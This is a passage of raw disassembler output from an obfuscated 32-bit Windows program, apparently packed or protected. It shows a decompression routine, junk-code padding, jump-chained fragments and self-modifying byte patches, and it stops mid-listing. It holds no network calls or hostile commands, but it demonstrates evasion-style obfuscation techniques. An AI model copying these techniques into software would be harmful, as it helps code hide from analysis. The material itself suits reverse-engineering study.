33A0383Fh, 52D4D938h, 12BD37D2h, 0D1F9BA88h, 7FF2E0FBh dd 2B3616E6h, 7B621E16h, 0C57E0D6Fh, 0B4A2D1DDh, 0BF83FEC6h dd 0D3C1E5BAh, 0C5D6CA5Ch, 0BBDEF375h, 873D1249h, 6467D5CBh dd 50D6C075h, 3E0AEC87h, 985CBF79h, 1BDF4BE1h, 8555B1C4h dd 6A50730Bh, 0CE021D27h, 4577204Eh, 15EB3BBAh, 5EECBC19h dd 9B5DBADEh, 0A6A982FFh, 85DEE3A9h, 51489366h, 1A3BAA36h dd 0BAA41F5Dh, 0EC70425Dh, 0EB7A1DC6h, 8F2B31AFh, 16C57ACFh dd 0FB290000h, 6132h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E5F8 proc near ; DATA XREF: sub_432AFD+3Ao var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042E777 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_42E73A add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_42E629: ; CODE XREF: sub_42E5F8+46j ; sub_42E5F8+8Dj ... xor eax, eax call sub_42E741 jnb short loc_42E640 mov ecx, [ebp+var_10] call sub_42E759 add al, [ebp+var_11] loc_42E63D: ; CODE XREF: sub_42E5F8+65j stosb jmp short loc_42E629 ; --------------------------------------------------------------------------- loc_42E640: ; CODE XREF: sub_42E5F8+38j call sub_42E741 jb loc_42E6E2 call sub_42E741 jnb short loc_42E6AD mov ecx, 4 call sub_42E759 dec eax jz short loc_42E63D jns loc_42E72C call sub_42E741 jnb short loc_42E687 push ebp loc_42E66D: ; CODE XREF: sub_42E5F8+8Aj mov ebp, 100h loc_42E672: ; CODE XREF: sub_42E5F8+83j call sub_42E74E mov [edi], al inc edi dec ebp jnz short loc_42E672 call sub_42E741 jb short loc_42E66D pop ebp jmp short loc_42E629 ; --------------------------------------------------------------------------- loc_42E687: ; CODE XREF: sub_42E5F8+72j mov ecx, 1 call sub_42E759 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_42E629 call sub_42E74E mov [ebp+var_11], al jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E6AD: ; CODE XREF: sub_42E5F8+58j mov ecx, 7 call sub_42E759 push eax mov ecx, 2 call sub_42E759 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_42E6CF mov ebx, eax jmp short loc_42E72D ; --------------------------------------------------------------------------- loc_42E6CF: ; CODE XREF: sub_42E5F8+D1j cmp ecx, 2 jz short loc_42E73A inc ecx call sub_42E759 mov [ebp+var_C], eax jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E6E2: ; CODE XREF: sub_42E5F8+4Dj call sub_42E765 dec ecx loop loc_42E6F3 mov eax, ebx call sub_42E765 jmp short loc_42E72D ; --------------------------------------------------------------------------- loc_42E6F3: ; CODE XREF: sub_42E5F8+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_42E759 or eax, ebp pop ebp mov ebx, eax call sub_42E765 cmp eax, 10000h jnb short loc_42E72A cmp eax, 37FFh jnb short loc_42E72B cmp eax, 27Fh jnb short loc_42E72C cmp eax, 7Fh ja short loc_42E72D inc ecx loc_42E72A: ; CODE XREF: sub_42E5F8+11Cj inc ecx loc_42E72B: ; CODE XREF: sub_42E5F8+123j inc ecx loc_42E72C: ; CODE XREF: sub_42E5F8+67j ; sub_42E5F8+12Aj inc ecx loc_42E72D: ; CODE XREF: sub_42E5F8+D5j ; sub_42E5F8+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E73A: ; CODE XREF: sub_42E5F8+19j ; sub_42E5F8+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_42E777 sub_42E5F8 endp ; =============== S U B R O U T I N E ======================================= sub_42E741 proc near ; CODE XREF: sub_42E5F8+33p ; sub_42E5F8:loc_42E640p ... add edx, edx jnz short locret_42E74D mov edx, [esi] add esi, 4 stc adc edx, edx locret_42E74D: ; CODE XREF: sub_42E741+2j retn sub_42E741 endp ; =============== S U B R O U T I N E ======================================= sub_42E74E proc near ; CODE XREF: sub_42E5F8:loc_42E672p ; sub_42E5F8+A8p mov ecx, 8 call sub_42E759 retn sub_42E74E endp ; =============== S U B R O U T I N E ======================================= sub_42E759 proc near ; CODE XREF: sub_42E5F8+3Dp ; sub_42E5F8+5Fp ... xor eax, eax loc_42E75B: ; CODE XREF: sub_42E759+9j call sub_42E741 adc eax, eax loop loc_42E75B retn sub_42E759 endp ; =============== S U B R O U T I N E ======================================= sub_42E765 proc near ; CODE XREF: sub_42E5F8:loc_42E6E2p ; sub_42E5F8+F4p ... xor ecx, ecx inc ecx loc_42E768: ; CODE XREF: sub_42E765+Fj call sub_42E741 adc ecx, ecx call sub_42E741 jb short loc_42E768 retn sub_42E765 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_42E777: ; CODE XREF: sub_42E5F8+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- align 4 loc_42E77C: ; CODE XREF: fzj3qwht:00431278j ; DATA XREF: sub_432AF7o ... xchg ecx, [esp] pop ecx or eax, eax jnz locret_42FA0B push offset loc_42FA05 jmp locret_42F9F2 ; --------------------------------------------------------------------------- dw 0F00h dd 2D83h, 0DF2B5600h, 5579F081h, 0DAE97BE9h, 2Eh, 0C300h ; CODE XREF: fzj3qwht:loc_42FB05j dd 0A84AA9BAh, 0F4840FE6h, 0E9000030h, 3C2Bh, 7C870F00h dd 8B000023h, 8C0F005Dh, 2B0Fh, 0D852E881h, 0F881A4B4h dd 0D7897CECh, 0EBDE9h, 24348700h, 0E8C7815Eh, 0B3B3ED6Eh dd 40F0E907h, 0D5810000h, 0F37DDA44h, 2D52E9h, 34870000h dd 0FAE85E24h, 0C3000024h, 0F4DE9h, 74858B00h, 68FFFFFFh dd 4323D0h, 170AE9h, 0F000000h, 34F984h, 0FF850F00h, 0E900001Dh dd 188Dh, 0E900C300h, 16Ch, 34E900h, 0 ; --------------------------------------------------------------------------- loc_42E83C: ; DATA XREF: sub_430917+1CBFo call sub_432992 mov ds:byte_43219D, 0E8h mov ds:byte_43054D, 87h mov ds:byte_430550, 5Eh mov ds:byte_430551, 0Fh mov ds:byte_431DCE, 0Fh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h ; CODE XREF: sub_4301AC+11EAj dd 16D7h, 0E9C300C3h, 2DD0h, 0F6810000h, 0A7D55A35h, 0FFFF79E9h ; DATA XREF: sub_431410:loc_42FE63o dd 0C300FFh, 298FE9h, 51000000h, 430ECDB9h, 363CE900h dd 0 ; --------------------------------------------------------------------------- loc_42E898: ; DATA XREF: fzj3qwht:0042EFF7o xchg edi, [esp] mov eax, edi pop edi and eax, 5B675CFFh rol eax, 18h jmp loc_4310CB ; --------------------------------------------------------------------------- dd 0EE80000h, 0C3000000h, 3A65E900h, 64E90000h, 13h, 0DD8B5300h ; CODE XREF: fzj3qwht:0043173Dj dd 1442E9h, 0F7330000h, 6D4E9h, 8890000h, 1DC8E9h, 237DE800h dd 0B4E90000h, 0Fh, 0AB3E900h, 0 ; --------------------------------------------------------------------------- loc_42E8EC: ; DATA XREF: fzj3qwht:00432581o add eax, ebp loc_42E8EE: ; CODE XREF: fzj3qwht:00430260j push edi push 7A10CB36h pop edi or edi, 0B4026B69h add edi, 2C64EABFh jmp loc_430FB4 ; --------------------------------------------------------------------------- align 4 loc_42E908: ; CODE XREF: fzj3qwht:00432272j mov byte ptr [edi], 0Fh pop edi add ecx, 0DB520Bh push offset loc_42F7FD jmp locret_42F7F7 ; --------------------------------------------------------------------------- dd 0FA810000h, 26F63A9Dh, 3900E9h, 0F000000h, 4C984h, 234CE900h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F11 loc_42E938: ; CODE XREF: sub_431F11+80Dj pop edi and esi, 44D2FDBDh xor esi, 0FBEF6A7Ah call sub_42EFCF add al, ch ; CODE XREF: sub_43052F:loc_4308D6j xchg eax, esi push cs ; END OF FUNCTION CHUNK FOR sub_431F11 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_42E950: ; CODE XREF: fzj3qwht:00431C4Cj jmp loc_431118 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h ; CODE XREF: sub_431410+642j dd 0E32h, 4C083C3h, 43117D68h, 784E900h, 0 ; --------------------------------------------------------------------------- xor eax, 0AE6DD5A0h or eax, 18CF1777h add eax, 553FC9Fh jmp loc_43231A ; --------------------------------------------------------------------------- align 4 dd 0FDB95100h, 0E90042FBh, 1CF2h ; =============== S U B R O U T I N E ======================================= sub_42E990 proc near ; CODE XREF: sub_431410+60Ep xchg ebx, [esp+0] pop ebx call loc_431480 and edx, esi jmp sub_4316FE sub_42E990 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 dw 0F581h dd 6F84440Dh, 0FDE5840Fh, 27E9FFFFh, 39h, 0E900C35Eh, 0F0Dh dd 0CC680000h, 0E9004311h, 3DF2h, 5B241C87h, 878702C6h dd 0D68B2434h, 81D5035Eh, 3C2D5CC2h, 2454E926h, 0C30000h dd 1DEAC100h, 0D04FC581h, 16E9262Ch, 0Eh, 8B45C700h, 65746365h dd 648F4565h, 56005B20h, 34A65E55h, 31A2E924h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42EA10: ; CODE XREF: sub_4301B7+149Aj jnz loc_42ED1B rol ebx, 12h jmp loc_42ED0A ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 10h jb loc_42F7E6 js loc_43128E jmp sub_430315 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; CODE XREF: fzj3qwht:loc_431CA3p ; --------------------------------------------------------------------------- adc al, 24h pop edx mov byte ptr [eax], 87h call sub_431AED loc_42EA3F: ; CODE XREF: fzj3qwht:0042F802j jmp locret_431508 ; --------------------------------------------------------------------------- dd 0DE8B5300h, 0BE241C87h, 42F150h, 0AECE9h, 0C6810000h dd 8BD7ED42h, 430CE868h, 38AEE900h, 850F0000h, 2110h, 29DB840Fh dd 9E90000h, 32h, 815D5800h, 183A66C0h, 56E8812Ah, 813B8F4Dh dd 0E5340E0h, 0A6850F4Ah, 2Ah, 85CD0300h, 2A3DE9C1h, 5A000000h dd 0D79687Fh, 815850C9h, 537AABE8h, 3FC0818Ah, 0E923AF97h dd 356Eh, 2C870000h, 0E0376824h, 815FC5D9h, 0E1E360F7h dd 80C781A8h, 87930AE7h, 0D0E9243Ch, 68000016h, 0B643DA4h dd 3A09E9h, 0C0D15800h, 0A199C081h, 6EE96BBBh, 7, 23E18C0Fh dd 880F0000h, 43Ch, 3A10820Fh, 7E680000h, 56A858B1h, 3487F18Bh dd 0EF28B924h, 51E90042h, 8B000030h, 0C4EE8F5h, 0E9000000h dd 11C3h, 3905E9h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42F912 ; --------------------------------------------------------------------------- align 2 add ebx, 0ABCA0E5Dh jmp loc_42F29D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4323E7 loc_42EB3D: ; CODE XREF: sub_4323E7:loc_431BC3j jnb near ptr dword_42EF00+4 ; END OF FUNCTION CHUNK FOR sub_4323E7 ; --------------------------------------------------------------------------- db 0 db 0 db 0E9h ; é db 0DFh ; ß db 0Eh db 0 db 0 db 0F7h ; ÷ db 0C5h ; Å db 0BFh ; ¿ db 99h ; ™ db 0B1h ; ± db 0CFh ; Ï db 0E9h ; é db 98h ; ˜ db 23h ; # db 0 db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42EB56 proc near ; CODE XREF: sub_431410:loc_432616p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042FAD6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004324E3 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push esi push 1EE5CBDBh xchg ecx, [esp+4+var_4] mov esi, ecx pop ecx jmp loc_4324E3 sub_42EB56 endp ; --------------------------------------------------------------------------- jl loc_42F059 add ecx, eax jmp loc_431989 ; --------------------------------------------------------------------------- dd 0E4680000h, 0E900430Fh, 245Ah, 570AE881h, 0F881FB67h dd 8D2465C8h, 0BADE9h, 128B0000h, 0A43C2AF6h, 6850Fh, 0BAE90000h dd 10h, 0E9243C87h, 1D55h, 0E9F73B00h, 2632h, 17C1C100h dd 9758C181h, 0F103DD14h, 1BEFE859h, 0AEE90000h, 0C600000Ah dd 0CF688707h, 0E90042ECh, 3179h, 24348700h, 15F2E85Eh dd 0E2E90000h, 0E9000007h, 2D02h, 4182F081h, 890FF843h dd 3398h, 0FF82E900h, 0FC68FFFFh, 1B9E49DAh, 0FC5C1DEh dd 3377E9h, 3C870000h, 5FC78B24h, 93CE881h, 0C0C10807h dd 78E88106h, 0E971ED4Fh, 1D26h, 7A8D0F00h, 1300000Eh dd 2021E9DEh, 0E8520000h, 9F2h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42EC41: ; CODE XREF: sub_431686:loc_4310CBj add eax, 0F3F0EDE9h or eax, eax jz loc_42FB23 push esi push 96844F2Eh pop esi xor esi, 0CEE1DA5Bh and esi, 902E7186h jmp loc_42F33B ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 4 dd 0B8CE8100h, 8105E07Dh, 4BFE8DC6h, 1953E9F8h, 3000000h ; CODE XREF: fzj3qwht:loc_431D41j dd 0E71E8C5h, 0D9810000h, 2D350DD6h, 8F6BF581h, 0F28101C9h dd 164F6DD3h, 5396CA81h, 0C2819CF0h, 72654390h, 380BE9h dd 2D680000h, 5A3934CAh, 8112C2C1h, 346938C2h, 0D6CA81E1h dd 814D70E9h, 31F110FAh, 21B5E98Dh, 19870000h, 1861E9h dd 0E8000000h, 1241h, 24148700h, 6268535Ah, 5BE74228h dd 0F60C381h, 0CBE9D7DCh, 1Dh, 4C08CF81h, 0C7810983h, 0AE32EAAEh dd 0DD5FC703h, 1C68E800h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_42ED04: ; CODE XREF: sub_4316FE+26Dj jmp loc_42F975 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42ED0A: ; CODE XREF: sub_4301B7-179Ej jnb loc_430EA7 ror edi, 0Fh sub edi, ebx js loc_42FA8F loc_42ED1B: ; CODE XREF: sub_4301B7:loc_42EA10j sub ecx, 33D8C30Dh jmp loc_42FC14 ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 4 loc_42ED28: ; CODE XREF: fzj3qwht:loc_43062Bj mov byte ptr [edx], 8Bh pop edx xor eax, 0ED7BE5CBh rol eax, 1 call loc_42FFDE push offset dword_42FBD0 jmp locret_430DBE ; --------------------------------------------------------------------------- align 4 shl edi, 14h jmp loc_42EF97 ; --------------------------------------------------------------------------- loc_42ED4C: ; CODE XREF: fzj3qwht:004303FFj pop ecx or ecx, 0D84A7015h and ecx, 41F09B30h xor ecx, 0E21DFF6Ah loc_42ED5F: ; CODE XREF: fzj3qwht:0042EDDCj and ecx, 0BAD399F6h xor ecx, 0CB8ED07Ch cmp eax, ecx pop ecx jmp loc_42FB05 ; --------------------------------------------------------------------------- align 4 dd 240C8700h, 8159C18Bh, 183A66C0h, 2BFCE92Ah db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42ED87 proc near ; CODE XREF: sub_4301B7-59Bp ; fzj3qwht:004318DCj xchg ebx, [esp+0] pop ebx push offset word_42FE22 jmp nullsub_128 sub_42ED87 endp ; --------------------------------------------------------------------------- align 2 loc_42ED96: ; CODE XREF: fzj3qwht:0042FBB7j mov byte ptr [ecx], 9Dh xchg edx, [esp] mov ecx, edx pop edx add esi, 160EEDBCh jmp loc_431B37 ; --------------------------------------------------------------------------- align 4 pop edx rol edx, 1Eh sub edx, 0E53CBE58h rol edx, 1Bh add edx, 84264892h push offset sub_4301AC jmp loc_430AB0 ; --------------------------------------------------------------------------- db 2 dup(0), 68h ; --------------------------------------------------------------------------- fdivr dword ptr [esi-7EA0B83Eh] mov dword ptr [ebx-7E17E1BCh], 9414F5EFh jnb short loc_42ED5F mov esi, 3B8D0F1Ah mov dword ptr [edi-17h], 8FCh mov esi, [eax] jmp sub_430E46 ; --------------------------------------------------------------------------- dw 0B00h dd 0FB96E9EAh, 0B0E9FFFFh, 2Bh, 0E8008B00h, 0FFFFF974h dd 0F482BE00h, 96E90042h, 2Eh, 0E0815800h, 443009E0h, 0F061E881h dd 6852DEAFh, 0AAB557F4h, 1659E95Ah, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- mov eax, offset loc_4301BF jmp loc_42F5B2 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431AED loc_42EE3D: ; CODE XREF: sub_431AED:loc_4316D0j pop esi rol eax, 1Ch or eax, 1BB14DB6h xor eax, 73E5362Dh or eax, 0FA29AD7Bh push offset byte_43047B jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_431AED ; --------------------------------------------------------------------------- locret_42EE5D: ; CODE XREF: fzj3qwht:00430D62j retn ; --------------------------------------------------------------------------- loc_42EE5E: ; CODE XREF: fzj3qwht:004307F2j jmp loc_430EA7 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFFA71h, 0E9D62300h, 1D68h, 85680000h, 0E9004310h dd 15C4h, 0B645E181h, 12E96A13h, 35h, 0BF58C0Fh, 0DF1B0000h ; =============== S U B R O U T I N E ======================================= sub_42EE90 proc near ; CODE XREF: sub_431452:loc_431517p ; FUNCTION CHUNK AT 0042FEF6 SIZE 0000000B BYTES xchg esi, [esp+0] pop esi jmp loc_42FEF6 sub_42EE90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 push offset aHSoxbstxpchC ; "hÝš‘®Xè’•¯—hê(C" jmp locret_42FF52 ; --------------------------------------------------------------------------- dd 0A0C015FFh, 0E8520042h, 34FAh, 0DCE90000h, 4, 316EE800h dd 0E9000000h, 20Ah, 0C6C10000h, 5C6811Fh, 3200022h, 0F2E368C6h dd 5E90042h, 4, 42EBCF68h, 333AE900h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_42EEE9: ; DATA XREF: sub_431452+8E3o push edi push 49D322Eh pop edi jmp loc_431502 ; --------------------------------------------------------------------------- loc_42EEF5: ; CODE XREF: fzj3qwht:loc_42EF3Ej push edx mov edx, offset dword_43263C jmp loc_431635 ; --------------------------------------------------------------------------- dword_42EF00 dd 0E90B9C00h, 183FC681h, 63E9BD4Dh, 0FFFFFFh ; CODE XREF: sub_4323E7:loc_42EB3Dj ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_42EF10: ; CODE XREF: sub_431167:loc_430E98j mov eax, ecx xchg eax, [esp+0] lea eax, byte_431DCE push eax mov eax, offset loc_430C96 jmp loc_430025 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- align 4 loc_42EF28: ; CODE XREF: fzj3qwht:004324B0j add al, 0D5h add edx, 8FA0DCAEh mov edx, [edx] jmp loc_43230D ; --------------------------------------------------------------------------- align 4 jb loc_432512 loc_42EF3E: ; CODE XREF: fzj3qwht:0042F13Cj jmp loc_42EEF5 ; --------------------------------------------------------------------------- align 4 mov byte ptr [ecx], 8Bh pop ecx push ebp mov ebp, esp call sub_431452 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_42EF52: ; CODE XREF: sub_431452+155j jmp loc_430598 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 4 dd 0E9EA3B00h, 1300h, 24148700h, 0B68525Ah, 516DBA1Ah dd 0C87C88Bh, 0A4366824h, 66E9CA43h, 0FFFFFBh, 24348700h dd 8B243C87h, 96E95FF7h, 0E800000Bh, 3316h, 85FE9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_42EF97: ; CODE XREF: fzj3qwht:0042ED47j xchg edi, [esp] pop edi mov byte ptr [ebx], 3 pop ebx jmp loc_42F38D ; --------------------------------------------------------------------------- dd 0E9F73B00h, 325Ah, 0C74E89Dh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_42EFB2: ; CODE XREF: sub_42FF6B-226j jmp loc_432476 ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- align 4 loc_42EFB8: ; CODE XREF: fzj3qwht:loc_43231Aj mov byte ptr [eax], 0Fh pop eax add eax, 835E3283h or eax, 6BE77C8Ah call sub_431410 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42EFCF proc near ; CODE XREF: sub_431F11-35CCp ; FUNCTION CHUNK AT 004304D0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00430761 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043077E SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx push edx mov edx, esi xchg edx, [esp+0] jmp loc_430761 sub_42EFCF endp ; --------------------------------------------------------------------------- mov byte ptr [eax], 0 push 42BC145Ch pop eax push ebx jmp loc_42FAB8 ; --------------------------------------------------------------------------- align 2 xchg edi, [esp] pop edi push 0F16A060Ch push offset loc_42E898 jmp locret_43012D ; --------------------------------------------------------------------------- align 2 xor ecx, 4AFA3F1Eh popf cdq idiv ecx mov [ebp-8], eax inc dword ptr [ebp-10h] cmp dword ptr [ebp-8], 0 jmp loc_430A24 ; --------------------------------------------------------------------------- align 4 dd 0E9F83300h, 385Fh, 0DF685200h, 5A05EA83h, 9EF7F281h dd 0C2815DE0h, 524D8661h, 95A6E281h, 0EA819643h, 509172ECh dd 26DEE9h, 0C3000000h db 0 ; =============== S U B R O U T I N E ======================================= sub_42F04D proc near ; CODE XREF: fzj3qwht:004309DEj ; fzj3qwht:00430BCBp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004308AD SIZE 0000000B BYTES xchg eax, [esp+0] xchg edi, [esp+0] mov eax, edi pop edi mov [esi], eax pop esi loc_42F059: ; CODE XREF: fzj3qwht:0042EB6Bj pushf call sub_4312D7 loc_42F05F: ; CODE XREF: sub_430315+Aj jmp loc_4308AD sub_42F04D endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0F0685000h, 5816BD4Ch, 0E90CC0C1h, 0FFFFF871h, 58240487h dd 7D0D689Ch, 8159F794h, 418DD4F1h, 0FAE957D7h, 5500001Eh dd 2C87EB8Bh, 0ECFBBB24h, 46E90042h, 2Ch, 7DC78100h, 874D102Dh dd 3159240Ch, 850F49C2h, 3372h, 204AE9h, 8B0F0000h, 1C6Ch dd 8C26E981h, 0F8685644h, 0E90042FCh, 1D30h, 0D1870000h dd 6B59E381h, 0E9815DDAh, 0D603131h, 8DFE9h, 0C2810000h dd 0BA4757FAh, 25CEE9h, 0C30000h, 0C1C1E913h, 3AE0811Ah dd 81163211h, 2E8703C0h, 53C5037Fh, 0C52DA968h, 98E95B9Ch dd 1Ch, 3369810Fh, 93E90000h, 87000003h, 3798E92Eh, 89000000h dd 17ECE911h, 0 dd 1AC2840Fh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_42F134: ; CODE XREF: sub_431F5F-1446j jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- align 2 sub ebx, ecx jle loc_42EF3E adc esi, 0D22D44C4h mov edi, ebx jmp loc_430BF4 ; --------------------------------------------------------------------------- loc_42F14F: ; DATA XREF: sub_42F4AE:loc_43045Ao dec ecx pop dword ptr [ebp+32CCh] push ebx mov ebx, esi xchg ebx, [esp] mov esi, offset byte_42FA73 jmp loc_431F76 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_42F167: ; CODE XREF: sub_431F5F+11j jnz loc_4311F0 jmp loc_43112B ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- add esp, edi pop ecx and edx, 0C7760987h sub edx, 8138A0BCh jmp loc_4326D5 ; =============== S U B R O U T I N E ======================================= sub_42F188 proc near ; CODE XREF: fzj3qwht:004302F1j ; FUNCTION CHUNK AT 0042F9E4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043197D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431C6E SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx mov byte ptr [eax], 3 pop eax push 0BBE934A2h pop esi and esi, 66EAE457h cmp esi, 69421CB2h jmp loc_43197D sub_42F188 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42F1A7: ; DATA XREF: sub_43041D-10EEo push edi push 70AFED03h pop edi sub edi, 0D94413C9h rol edi, 14h add edi, 6C9985FCh jmp loc_42F3DB ; --------------------------------------------------------------------------- xor edi, eax jmp loc_43264B ; --------------------------------------------------------------------------- loc_42F1C9: ; CODE XREF: fzj3qwht:0042FE4Cj pop ebx retn 0Ch ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 83D7BDF0h jmp loc_43180A ; --------------------------------------------------------------------------- add edx, 8B68BECEh or edx, 7BDE42BAh xor edx, 907FFCFBh add edx, 10A155E7h jmp loc_43062B ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F1F8: ; CODE XREF: sub_42F4AE:loc_42F4E0j mov edx, esi pop esi and edx, 4CD3CB6Eh add edx, 0B3F0012Ah call sub_430B68 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 1C870000h, 51505B24h, 0E1E9CF8Bh, 13000022h, 0F4DB81C5h dd 0E9314B9Ch, 0CA8h, 0FAE80000h, 2300001Dh, 0FD2BE9CBh dd 0F00FFFFh, 0FFFEB88Dh, 0CC830FFFh, 81000003h, 6AB0A6D9h dd 0FEA2E9FAh, 0C300FFFFh, 13DBE900h, 73E90000h, 0FFFFFFh dd 2033E900h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42F263 proc near ; CODE XREF: fzj3qwht:loc_430A50p ; fzj3qwht:00430DC4j xchg esi, [esp+0] pop esi push 5E4244D3h pop esi or esi, 0D715F8E6h jmp loc_42F73C sub_42F263 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, [edx] jmp loc_432804 ; --------------------------------------------------------------------------- align 10h dd 241C8700h, 20D2E8h, 0E9000000h, 2D4Fh, 0CDC10000h, 0E9D70319h dd 1D8Dh db 0 ; --------------------------------------------------------------------------- loc_42F29D: ; CODE XREF: fzj3qwht:0042EB38j jge loc_4328A5 call loc_4314E1 ; START OF FUNCTION CHUNK FOR sub_430C8C loc_42F2A8: ; CODE XREF: sub_430C8C+Dj jmp loc_42F671 ; END OF FUNCTION CHUNK FOR sub_430C8C ; --------------------------------------------------------------------------- and edi, ecx jmp sub_430C8C ; --------------------------------------------------------------------------- push 50E0B77Fh pop ecx add ecx, 955E3D35h rol ecx, 19h xor ecx, 9FC8C517h add eax, ecx pop ecx mov eax, [eax] jmp loc_431A72 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F2D4: ; CODE XREF: sub_42F4AE+DEj ; fzj3qwht:loc_42FAB8j mov ebx, offset nullsub_138 jmp loc_4325E1 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0), 5Eh ; --------------------------------------------------------------------------- loc_42F2E4: ; CODE XREF: fzj3qwht:loc_4322A0j push (offset loc_430364+1) jmp loc_4322E3 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F2F0: ; CODE XREF: sub_42F4AE+17j xchg ebx, [esp-4+arg_0] xchg eax, [esp-4+arg_0] mov ebx, eax pop eax add ecx, 0DF6D33BFh popf push offset byte_4317BD jmp loc_432376 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 dd 0E89D008Bh, 1D82h, 0E9990000h, 2D10h, 243C8700h, 84C685Fh dd 0F5E90043h, 0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F32C: ; CODE XREF: sub_43041D-D0Ej ; fzj3qwht:0042F71Aj xchg ebx, [esp+0] push offset loc_42F1A7 jmp loc_43083D ; END OF 